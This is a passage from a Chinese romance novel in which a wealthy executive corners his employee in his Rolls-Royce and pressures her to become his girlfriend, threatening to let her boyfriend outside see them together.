就在她准备穿过人行道时,一辆通体漆黑,线条流畅威严的劳斯莱斯幻影,悄无声息地滑到她面前,精准地挡住了她的去路。 独特的帕特农神庙式格栅和车头屹立的欢庆女神,在暮色中散发着无声的奢华和压迫感。 更重要的是,这辆幻影的车牌是连号的。 舒棠几乎是一眼便认出这辆车,是沈津年的车。 她的心猛地一沉。 随后,后排车窗无声地降下半扇。 沈津年侧着脸,轮廓清晰,没有看她,淡淡开口:“上车。” 语气平淡,却是不容置疑的命令。 舒棠僵在原地,“沈总,我下班了……有私事。” “我知道。” 沈津年这才转过头,看向她,平静无波:“我找你也有事,上车谈,或者,你想让我在这里和你谈?” 他的视线若有若无地扫过她手中那个装着银行卡的薄信封。 舒棠的脸色白了白。 她毫不怀疑,如果自己拒绝,他真的会在这人来人往的公司门口,做出让她更难堪的事情。 最后,她咬咬牙,看了一眼近在咫尺的咖啡店,又看了看眼前的男人,最终还是上车了。 车内空间宽敞得近乎奢侈,空间比之前那辆误上的迈巴赫还要大,沈津年身上那熟悉的雪松味瞬间将她包裹。 座椅柔软舒适,她却如坐针毡。 舒棠上车之后,便刻意坐得离他很远,几乎是贴着另一侧车门,“沈总,您找我什么事?” 她努力让声音听起来平静,目光却忍不住投向窗外。 沈津年没有立刻回答。 他好整以暇地调整坐姿,目光落在她紧绷的侧脸上,将她那点不易察觉的焦急尽收眼底。 “急什么?” 男人慢条斯理地问,手指在中央扶手的控制面板轻轻一点。 倏地,瞥到窗外,她的目光忽然定住了。 舒棠的心提到嗓子眼。 车窗外的人行道上,一个熟悉的身影正朝着咖啡馆走去。 舒棠认出来人是江决。 不仅如此,江决就站在车外,距离不过几米,他甚至还朝这个方向瞥了一眼。 一瞬间,舒棠头皮一阵发麻。 不敢深想。 如果江决看到自己坐在沈津年的车上,会怎么办…… 而且还是和沈津年一起坐在豪车上。 他会误会的。 “沈总。” 舒棠惊惶地开口:“您找我到底什么事?” 沈津年将她的惊慌尽收眼底,也知道江决就在马路对面。 他微微俯身靠近她,目光锁住她慌乱的眼睛,缓缓说: “做我女朋友。” 不是询问,是陈述。 舒棠瞳孔一缩,“什么?” “我说。” 沈津年呢一字一顿,气息拂过她耳际,“做我女朋友。” “不可能。” 舒棠脱口而出,“我已经拒绝了你很多次了。” “而且,我有男朋友,他就在外面。” 她指着窗外,手指颤抖。 沈津年顺着她手指的方向,淡淡扫了一眼窗外那个越来越近的身影,唇角勾起一抹弧度。 江决已经站在车外了,眼神带着艳羡盯着这辆车。 “不做我女朋友也可以。” 沈津年收回目光。 舒棠松了口气。 结果下一秒,又听到他说。 “只是要——” 沈津年语气平静:“你换了现在这个垃圾男朋友。” “你!” 舒棠气得浑身发抖。 沈津年看着她因愤怒而剧烈起伏的胸口,眼神幽暗。 他忽然抬手,按向车窗控制键。 “你说。” 他的手指悬在按键上方,没有立刻按下去,只是盯着她,慢悠悠地,如同逗弄掌中猎物地开口:“我如果把车窗降下来,会怎么样?” 他的声音不高,却像惊雷炸在耳边。 “这样,你的那位男朋友,就能清清楚楚地看到,你和我坐在同一辆车里。” 他啧了声,语气顽劣:“怎么样?” “要不要同他打个招呼?”